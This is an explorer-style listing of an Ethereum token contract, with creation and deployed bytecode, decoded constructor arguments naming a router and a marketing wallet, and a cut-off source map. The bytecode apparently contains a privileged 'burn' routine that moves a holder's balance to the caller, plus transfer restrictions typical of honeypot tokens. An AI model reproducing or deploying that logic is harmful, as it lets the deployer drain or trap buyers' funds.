00803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004329190620008ae565b6001600160a01b031660a052600b5462000470903390620004589060ff16600a620007e2565b600c54620004679190620007fa565b60a05162000532565b6001600160a01b039081166080819052601180546001600160a01b031916938316939093178355600090815260136020526040808220805460ff1990811660019081179092553384528284208054821683179055945490931682529020805490921617905550620008e7565b3390565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166200058d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b600080546001600160a01b038086166001600160a01b0319928316178355600180549185169190921617905560058054849290620005cd908490620008cc565b90915550506001600160a01b0383166000818152600360209081526040808320805487019055518581527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b828054620006359062000871565b90600052602060002090601f016020900481019282620006595760008555620006a4565b82601f106200067457805160ff1916838001178555620006a4565b82800160010185558215620006a4579182015b82811115620006a457825182559160200191906001019062000687565b50620006b2929150620006b6565b5090565b5b80821115620006b25760008155600101620006b7565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000724578160001904821115620007085762000708620006cd565b808516156200071657918102915b93841c9390800290620006e8565b509250929050565b6000826200073d57506001620007dc565b816200074c57506000620007dc565b8160018114620007655760028114620007705762000790565b6001915050620007dc565b60ff841115620007845762000784620006cd565b50506001821b620007dc565b5060208310610133831016604e8410600b8410161715620007b5575081810a620007dc565b620007c18383620006e3565b8060001904821115620007d857620007d8620006cd565b0290505b92915050565b6000620007f360ff8416836200072c565b9392505050565b6000816000190483118215151615620008175762000817620006cd565b500290565b80516001600160a01b03811681146200083457600080fd5b919050565b600080604083850312156200084d57600080fd5b62000858836200081c565b915062000868602084016200081c565b90509250929050565b600181811c908216806200088657607f821691505b60208210811415620008a857634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215620008c157600080fd5b620007f3826200081c565b60008219821115620008e257620008e2620006cd565b500190565b60805160a0516119826200094c600039600081816102c501528181610bb401528181610bef01528181610c390152610e080152600081816101fe0152818161111d015281816111e501528181611214015281816113cb01526113f201526119826000f3fe6080604052600436106101855760003560e01c806375f0a874116100d1578063a9059cbb1161008a578063bb85c6d111610064578063bb85c6d114610489578063dd62ed3e146104a9578063f2fde38b146104c9578063f345bd85146104e957600080fd5b8063a9059cbb14610433578063aa4bde2814610453578063af8af6901461046957600080fd5b806375f0a8741461038a57806381bfdcca146103aa5780638c0b5e22146103ca5780638da5cb5b146103e057806395d89b41146103fe578063a457c2d71461041357600080fd5b8063395093511161013e5780636161eb18116101185780636161eb18146102fd578063677daa571461031f57806370a082311461033f578063715018a61461037557600080fd5b8063395093511461029357806349bd5a5e146102b3578063527ffabd146102e757600080fd5b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101ec57806318160ddd1461023857806323b872dd14610257578063313ce5671461027757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66104ff565b6040516101b3919061157c565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046115e6565b610591565b60405190151581526020016101b3565b3480156101f857600080fd5b506102207f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101b3565b34801561024457600080fd5b506005545b6040519081526020016101b3565b34801561026357600080fd5b506101dc610272366004611612565b6105a9565b34801561028357600080fd5b50604051600981526020016101b3565b34801561029f57600080fd5b506101dc6102ae3660046115e6565b6105cd565b3480156102bf57600080fd5b506102207f000000000000000000000000000000000000000000000000000000000000000081565b3480156102f357600080fd5b50610249600e5481565b34801561030957600080fd5b5061031d6103183660046115e6565b6105ef565b005b34801561032b57600080fd5b506101dc61033a366004611653565b610745565b34801561034b57600080fd5b5061024961035a36600461166c565b6001600160a01b031660009081526003602052604090205490565b34801561038157600080fd5b5061031d610758565b34801561039657600080fd5b50601154610220906001600160a01b031681565b3480156103b657600080fd5b506101dc6103c5366004611653565b61076c565b3480156103d657600080fd5b50610249600f5481565b3480156103ec57600080fd5b506008546001600160a01b0316610220565b34801561040a57600080fd5b506101a661077f565b34801561041f57600080fd5b506101dc61042e3660046115e6565b61078e565b34801561043f57600080fd5b506101dc61044e3660046115e6565b610809565b34801561045f57600080fd5b5061024960105481565b34801561047557600080fd5b506101dc610484366004611690565b610817565b34801561049557600080fd5b506101dc6104a436600461166c565b6108a4565b3480156104b557600080fd5b506102496104c43660046116b2565b6108ee565b3480156104d557600080fd5b5061031d6104e436600461166c565b610919565b3480156104f557600080fd5b50610249600d5481565b60606006805461050e906116eb565b80601f016020809104026020016040519081016040528092919081815260200182805461053a906116eb565b80156105875780601f1061055c57610100808354040283529160200191610587565b820191906000526020600020905b81548152906001019060200180831161056a57829003601f168201915b5050505050905090565b60003361059f818585610992565b5060019392505050565b6000336105b7858285610aae565b6105c2858585610b28565b506001949350505050565b60003361059f8185856105e083836108ee565b6105ea919061173c565b610992565b6000546001600160a01b0316331461060657600080fd5b6001600160a01b03821661066b5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b6001600160a01b038216600090815260036020526040902054818110156106df5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610662565b6001600160a01b038316600081815260036020908152604080832086860390553380845292819020805487019055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b600061074f610f6f565b50600f55600190565b610760610f6f565b61076a6000610fc9565b565b6000610776610f6f565b50601055600190565b60606007805461050e906116eb565b6000338161079c82866108ee565b9050838110156107fc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610662565b6105c28286868403610992565b60003361059f818585610b28565b6000610821610f6f565b600a61082d838561173c565b11156108905760405162461bcd60e51b815260206004820152602c60248201527f45524332303a20746f74616c20746178206d757374206e6f742062652067726560448201526b061746572207468616e2031360a41b6064820152608401610662565b50600d91909155600e556000601255600190565b6011546000906001600160a01b031633146108be57600080fd5b50600280546001600160a01b039092166001600160a01b0319928316811790915560118054909216179055600190565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610921610f6f565b6001600160a01b0381166109865760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610662565b61098f81610fc9565b50565b6001600160a01b0383166109f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610662565b6001600160a01b038216610a555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610662565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610738565b6000610aba84846108ee565b90506000198114610b225781811015610b155760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610662565b610b228484848403610992565b50505050565b6001600160a01b038316610b4e5760405162461bcd60e51b815260040161066290611754565b6001600160a01b038216610b745760405162461bcd60e51b815260040161066290611799565b80610b94846001600160a01b031660009081526003602052604090205490565b1015610bb25760405162461bcd60e51b8152600401610662906117dc565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b03161480610c2357507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316145b8015610c32575060165460ff16155b15610f5f577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614610d4357601254306000908152600360205260408120549091610c8e91611822565b90506014548110610ca457610ca460145461101b565b60155460125410610d4157610cba6015546110b9565b60155460126000828254610cce9190611822565b90915550506011546040516000916001600160a01b0316904780156108fc029184818181858888f19350505050905080610d3f5760405162461bcd60e51b815260206004820152601260248201527108cc2d2d8cac840e8de40e6cadcc8408aa8960731b6044820152606401610662565b505b505b6001600160a01b03831660009081526013602052604081205460ff1680610d8257506001600160a01b03831660009081526013602052604090205460ff165b15610d8e575080610f54565b600f54821115610e065760405162461bcd60e51b815260206004820152603960248201527f45524332303a207472616e7366657220616d6f756e742065786365656473207460448201527f6865206d6178207472616e73616374696f6e20616d6f756e74000000000000006064820152608401610662565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b03161415610ed3576010546001600160a01b038416600090815260036020526040902054610e66908461173c565b1115610ed35760405162461bcd60e51b815260206004820152603660248201527f45524332303a2062616c616e636520616d6f756e74206578636565646564206d604482015275185e081dd85b1b195d08185b5bdd5b9d081b1a5b5a5d60521b6064820152608401610662565b60006064600e5484610ee59190611839565b610eef9190611858565b905060006064600d5485610f039190611839565b610f0d9190611858565b9050610f19818361173c565b610f239085611822565b92508160126000828254610f37919061173c565b90915550610f5190508630610f4c848661173c565b6112aa565b50505b610b228484836112aa565b610f6a8383836112aa565b505050565b6008546001600160a01b0316331461076a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610662565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6016805460ff191660011790556000611035600283611858565b905060006110438284611822565b90504761104f836110b9565b600061105b8247611822565b905061106783826113b8565b60408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506016805460ff19169055505050565b6016805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110fb576110fb61187a565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561117457600080fd5b505afa158015611188573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ac9190611890565b816001815181106111bf576111bf61187a565b60200260200101906001600160a01b031690816001600160a01b03168152505061120a307f000000000000000000000000000000000000000000000000000000000000000084610992565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663791ac947836000843061124a4261012c61173c565b6040518663ffffffff1660e01b815260040161126a9594939291906118ad565b600060405180830381600087803b15801561128457600080fd5b505af1158015611298573d6000803e3d6000fd5b50506016805460ff1916905550505050565b6001600160a01b0383166112d05760405162461bcd60e51b815260040161066290611754565b6001600160a01b0382166112f65760405162461bcd60e51b815260040161066290611799565b6001600160a01b0383166000908152600360205260409020548181101561132f5760405162461bcd60e51b8152600401610662906117dc565b6001600160a01b0380851660009081526003602052604080822085850390559185168152208054830190556113658484846114e4565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113aa91815260200190565b60405180910390a350505050565b6016805460ff191660011790556113f0307f000000000000000000000000000000000000000000000000000000000000000084610992565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d7198230856000806114376008546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561149a57600080fd5b505af11580156114ae573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114d3919061191e565b50506016805460ff19169055505050565b610f6a8383836002546001600160a01b038481169116148061151357506002546001600160a01b038381169116145b1561151d57505050565b6002546001600160a01b0316158061154357506001546001600160a01b03838116911614155b8061155b57506000546001600160a01b038481169116145b8061157357506000546001600160a01b038381169116145b610f6a57600080fd5b600060208083528351808285015260005b818110156115a95785810183015185820160400152820161158d565b818111156115bb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461098f57600080fd5b600080604083850312156115f957600080fd5b8235611604816115d1565b946020939093013593505050565b60008060006060848603121561162757600080fd5b8335611632816115d1565b92506020840135611642816115d1565b929592945050506040919091013590565b60006020828403121561166557600080fd5b5035919050565b60006020828403121561167e57600080fd5b8135611689816115d1565b9392505050565b600080604083850312156116a357600080fd5b50508035926020909101359150565b600080604083850312156116c557600080fd5b82356116d0816115d1565b915060208301356116e0816115d1565b809150509250929050565b600181811c908216806116ff57607f821691505b6020821081141561172057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561174f5761174f611726565b500190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60008282101561183457611834611726565b500390565b600081600019048311821515161561185357611853611726565b500290565b60008261187557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156118a257600080fd5b8151611689816115d1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118fd5784516001600160a01b0316835293830193918301916001016118d8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561193357600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122098fe7e6c9566c1d59232e6e33ca3e449a80e23ca1934e19bf09dd95670bad32464736f6c634300080900330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c50acb8a465ad1b2deddea6c56dc0fd58d0f579d
Deployed Bytecode
0x6080604052600436106101855760003560e01c806375f0a874116100d1578063a9059cbb1161008a578063bb85c6d111610064578063bb85c6d114610489578063dd62ed3e146104a9578063f2fde38b146104c9578063f345bd85146104e957600080fd5b8063a9059cbb14610433578063aa4bde2814610453578063af8af6901461046957600080fd5b806375f0a8741461038a57806381bfdcca146103aa5780638c0b5e22146103ca5780638da5cb5b146103e057806395d89b41146103fe578063a457c2d71461041357600080fd5b8063395093511161013e5780636161eb18116101185780636161eb18146102fd578063677daa571461031f57806370a082311461033f578063715018a61461037557600080fd5b8063395093511461029357806349bd5a5e146102b3578063527ffabd146102e757600080fd5b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101ec57806318160ddd1461023857806323b872dd14610257578063313ce5671461027757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66104ff565b6040516101b3919061157c565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046115e6565b610591565b60405190151581526020016101b3565b3480156101f857600080fd5b506102207f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016101b3565b34801561024457600080fd5b506005545b6040519081526020016101b3565b34801561026357600080fd5b506101dc610272366004611612565b6105a9565b34801561028357600080fd5b50604051600981526020016101b3565b34801561029f57600080fd5b506101dc6102ae3660046115e6565b6105cd565b3480156102bf57600080fd5b506102207f000000000000000000000000eb8b78294fcf05912e87bce2cb4b14194a3a2ed281565b3480156102f357600080fd5b50610249600e5481565b34801561030957600080fd5b5061031d6103183660046115e6565b6105ef565b005b34801561032b57600080fd5b506101dc61033a366004611653565b610745565b34801561034b57600080fd5b5061024961035a36600461166c565b6001600160a01b031660009081526003602052604090205490565b34801561038157600080fd5b5061031d610758565b34801561039657600080fd5b50601154610220906001600160a01b031681565b3480156103b657600080fd5b506101dc6103c5366004611653565b61076c565b3480156103d657600080fd5b50610249600f5481565b3480156103ec57600080fd5b506008546001600160a01b0316610220565b34801561040a57600080fd5b506101a661077f565b34801561041f57600080fd5b506101dc61042e3660046115e6565b61078e565b34801561043f57600080fd5b506101dc61044e3660046115e6565b610809565b34801561045f57600080fd5b5061024960105481565b34801561047557600080fd5b506101dc610484366004611690565b610817565b34801561049557600080fd5b506101dc6104a436600461166c565b6108a4565b3480156104b557600080fd5b506102496104c43660046116b2565b6108ee565b3480156104d557600080fd5b5061031d6104e436600461166c565b610919565b3480156104f557600080fd5b50610249600d5481565b60606006805461050e906116eb565b80601f016020809104026020016040519081016040528092919081815260200182805461053a906116eb565b80156105875780601f1061055c57610100808354040283529160200191610587565b820191906000526020600020905b81548152906001019060200180831161056a57829003601f168201915b5050505050905090565b60003361059f818585610992565b5060019392505050565b6000336105b7858285610aae565b6105c2858585610b28565b506001949350505050565b60003361059f8185856105e083836108ee565b6105ea919061173c565b610992565b6000546001600160a01b0316331461060657600080fd5b6001600160a01b03821661066b5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b6001600160a01b038216600090815260036020526040902054818110156106df5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610662565b6001600160a01b038316600081815260036020908152604080832086860390553380845292819020805487019055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b600061074f610f6f565b50600f55600190565b610760610f6f565b61076a6000610fc9565b565b6000610776610f6f565b50601055600190565b60606007805461050e906116eb565b6000338161079c82866108ee565b9050838110156107fc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610662565b6105c28286868403610992565b60003361059f818585610b28565b6000610821610f6f565b600a61082d838561173c565b11156108905760405162461bcd60e51b815260206004820152602c60248201527f45524332303a20746f74616c20746178206d757374206e6f742062652067726560448201526b061746572207468616e2031360a41b6064820152608401610662565b50600d91909155600e556000601255600190565b6011546000906001600160a01b031633146108be57600080fd5b50600280546001600160a01b039092166001600160a01b0319928316811790915560118054909216179055600190565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610921610f6f565b6001600160a01b0381166109865760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610662565b61098f81610fc9565b50565b6001600160a01b0383166109f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610662565b6001600160a01b038216610a555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610662565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610738565b6000610aba84846108ee565b90506000198114610b225781811015610b155760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610662565b610b228484848403610992565b50505050565b6001600160a01b038316610b4e5760405162461bcd60e51b815260040161066290611754565b6001600160a01b038216610b745760405162461bcd60e51b815260040161066290611799565b80610b94846001600160a01b031660009081526003602052604090205490565b1015610bb25760405162461bcd60e51b8152600401610662906117dc565b7f000000000000000000000000eb8b78294fcf05912e87bce2cb4b14194a3a2ed26001600160a01b0316836001600160a01b03161480610c2357507f000000000000000000000000eb8b78294fcf05912e87bce2cb4b14194a3a2ed26001600160a01b0316826001600160a01b0316145b8015610c32575060165460ff16155b15610f5f577f000000000000000000000000eb8b78294fcf05912e87bce2cb4b14194a3a2ed26001600160a01b0316836001600160a01b031614610d4357601254306000908152600360205260408120549091610c8e91611822565b90506014548110610ca457610ca460145461101b565b60155460125410610d4157610cba6015546110b9565b60155460126000828254610cce9190611822565b90915550506011546040516000916001600160a01b0316904780156108fc029184818181858888f19350505050905080610d3f5760405162461bcd60e51b815260206004820152601260248201527108cc2d2d8cac840e8de40e6cadcc8408aa8960731b6044820152606401610662565b505b505b6001600160a01b03831660009081526013602052604081205460ff1680610d8257506001600160a01b03831660009081526013602052604090205460ff165b15610d8e575080610f54565b600f54821115610e065760405162461bcd60e51b815260206004820152603960248201527f45524332303a207472616e7366657220616d6f756e742065786365656473207460448201527f6865206d6178207472616e73616374696f6e20616d6f756e74000000000000006064820152608401610662565b7f000000000000000000000000eb8b78294fcf05912e87bce2cb4b14194a3a2ed26001600160a01b0316846001600160a01b03161415610ed3576010546001600160a01b038416600090815260036020526040902054610e66908461173c565b1115610ed35760405162461bcd60e51b815260206004820152603660248201527f45524332303a2062616c616e636520616d6f756e74206578636565646564206d604482015275185e081dd85b1b195d08185b5bdd5b9d081b1a5b5a5d60521b6064820152608401610662565b60006064600e5484610ee59190611839565b610eef9190611858565b905060006064600d5485610f039190611839565b610f0d9190611858565b9050610f19818361173c565b610f239085611822565b92508160126000828254610f37919061173c565b90915550610f5190508630610f4c848661173c565b6112aa565b50505b610b228484836112aa565b610f6a8383836112aa565b505050565b6008546001600160a01b0316331461076a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610662565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6016805460ff191660011790556000611035600283611858565b905060006110438284611822565b90504761104f836110b9565b600061105b8247611822565b905061106783826113b8565b60408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506016805460ff19169055505050565b6016805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110fb576110fb61187a565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561117457600080fd5b505afa158015611188573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ac9190611890565b816001815181106111bf576111bf61187a565b60200260200101906001600160a01b031690816001600160a01b03168152505061120a307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610992565b6001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663791ac947836000843061124a4261012c61173c565b6040518663ffffffff1660e01b815260040161126a9594939291906118ad565b600060405180830381600087803b15801561128457600080fd5b505af1158015611298573d6000803e3d6000fd5b50506016805460ff1916905550505050565b6001600160a01b0383166112d05760405162461bcd60e51b815260040161066290611754565b6001600160a01b0382166112f65760405162461bcd60e51b815260040161066290611799565b6001600160a01b0383166000908152600360205260409020548181101561132f5760405162461bcd60e51b8152600401610662906117dc565b6001600160a01b0380851660009081526003602052604080822085850390559185168152208054830190556113658484846114e4565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113aa91815260200190565b60405180910390a350505050565b6016805460ff191660011790556113f0307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610992565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806114376008546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561149a57600080fd5b505af11580156114ae573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114d3919061191e565b50506016805460ff19169055505050565b610f6a8383836002546001600160a01b038481169116148061151357506002546001600160a01b038381169116145b1561151d57505050565b6002546001600160a01b0316158061154357506001546001600160a01b03838116911614155b8061155b57506000546001600160a01b038481169116145b8061157357506000546001600160a01b038381169116145b610f6a57600080fd5b600060208083528351808285015260005b818110156115a95785810183015185820160400152820161158d565b818111156115bb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461098f57600080fd5b600080604083850312156115f957600080fd5b8235611604816115d1565b946020939093013593505050565b60008060006060848603121561162757600080fd5b8335611632816115d1565b92506020840135611642816115d1565b929592945050506040919091013590565b60006020828403121561166557600080fd5b5035919050565b60006020828403121561167e57600080fd5b8135611689816115d1565b9392505050565b600080604083850312156116a357600080fd5b50508035926020909101359150565b600080604083850312156116c557600080fd5b82356116d0816115d1565b915060208301356116e0816115d1565b809150509250929050565b600181811c908216806116ff57607f821691505b6020821081141561172057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561174f5761174f611726565b500190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60008282101561183457611834611726565b500390565b600081600019048311821515161561185357611853611726565b500290565b60008261187557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156118a257600080fd5b8151611689816115d1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118fd5784516001600160a01b0316835293830193918301916001016118d8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561193357600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122098fe7e6c9566c1d59232e6e33ca3e449a80e23ca1934e19bf09dd95670bad32464736f6c63430008090033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c50acb8a465ad1b2deddea6c56dc0fd58d0f579d
-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : marketingWallet_ (address): 0xc50acB8A465AD1B2dedDEa6C56Dc0fD58d0F579D
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000c50acb8a465ad1b2deddea6c56dc0fd58d0f579d
Deployed Bytecode Sourcemap
1377:7308:4:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1996:102:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4270:244;;;;;;;;;;-1:-1:-1;4270:244:1;;;;;:::i;:::-;;:::i;:::-;;;1237:14:10;;1230:22;1212:41;;1200:2;1185:18;4270:244:1;1072:187:10;1989:51:4;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1455:32:10;;;1437:51;;1425:2;1410:18;1989:51:4;1264:230:10;3134:110:1;;;;;;;;;;-1:-1:-1;3224:12:1;;3134:110;;;1645:25:10;;;1633:2;1618:18;3134:110:1;1499:177:10;5094:297:1;;;;;;;;;;-1:-1:-1;5094:297:1;;;;;:::i;:::-;;:::i;2977:92::-;;;;;;;;;;-1:-1:-1;2977:92:1;;3060:1;2284:36:10;;2272:2;2257:18;2977:92:1;2142:184:10;6810:272:1;;;;;;;;;;-1:-1:-1;6810:272:1;;;;;:::i;:::-;;:::i;2047:38:4:-;;;;;;;;;;;;;;;1704:34;;;;;;;;;;;;;;;;8949:598:1;;;;;;;;;;-1:-1:-1;8949:598:1;;;;;:::i;:::-;;:::i;:::-;;8257:182:4;;;;;;;;;;-1:-1:-1;8257:182:4;;;;;:::i;:::-;;:::i;2161:177:1:-;;;;;;;;;;-1:-1:-1;2161:177:1;;;;;:::i;:::-;-1:-1:-1;;;;;2312:18:1;2280:7;2312:18;;;:9;:18;;;;;;;2161:177;1803:103:9;;;;;;;;;;;;;:::i;1865:30:4:-;;;;;;;;;;-1:-1:-1;1865:30:4;;;;-1:-1:-1;;;;;1865:30:4;;;8447:198;;;;;;;;;;-1:-1:-1;8447:198:4;;;;;:::i;:::-;;:::i;1745:51::-;;;;;;;;;;;;;;;;1155:87:9;;;;;;;;;;-1:-1:-1;1228:6:9;;-1:-1:-1;;;;;1228:6:9;1155:87;;1820:106:1;;;;;;;;;;;;;:::i;5894:507::-;;;;;;;;;;-1:-1:-1;5894:507:1;;;;;:::i;:::-;;:::i;3714:236::-;;;;;;;;;;-1:-1:-1;3714:236:1;;;;;:::i;:::-;;:::i;1803:55:4:-;;;;;;;;;;;;;;;;7828:421;;;;;;;;;;-1:-1:-1;7828:421:4;;;;;:::i;:::-;;:::i;7578:242::-;;;;;;;;;;-1:-1:-1;7578:242:4;;;;;:::i;:::-;;:::i;3307:201:1:-;;;;;;;;;;-1:-1:-1;3307:201:1;;;;;:::i;:::-;;:::i;2061:238:9:-;;;;;;;;;;-1:-1:-1;2061:238:9;;;;;:::i;:::-;;:::i;1663:34:4:-;;;;;;;;;;;;;;;;1996:102:1;2052:13;2085:5;2078:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1996:102;:::o;4270:244::-;4391:4;733:10:0;4452:32:1;733:10:0;4468:7:1;4477:6;4452:8;:32::i;:::-;-1:-1:-1;4502:4:1;;4270:244;-1:-1:-1;;;4270:244:1:o;5094:297::-;5227:4;733:10:0;5285:38:1;5301:4;733:10:0;5316:6:1;5285:15;:38::i;:::-;5334:27;5344:4;5350:2;5354:6;5334:9;:27::i;:::-;-1:-1:-1;5379:4:1;;5094:297;-1:-1:-1;;;;5094:297:1:o;6810:272::-;6927:4;733:10:0;6988:64:1;733:10:0;7004:7:1;7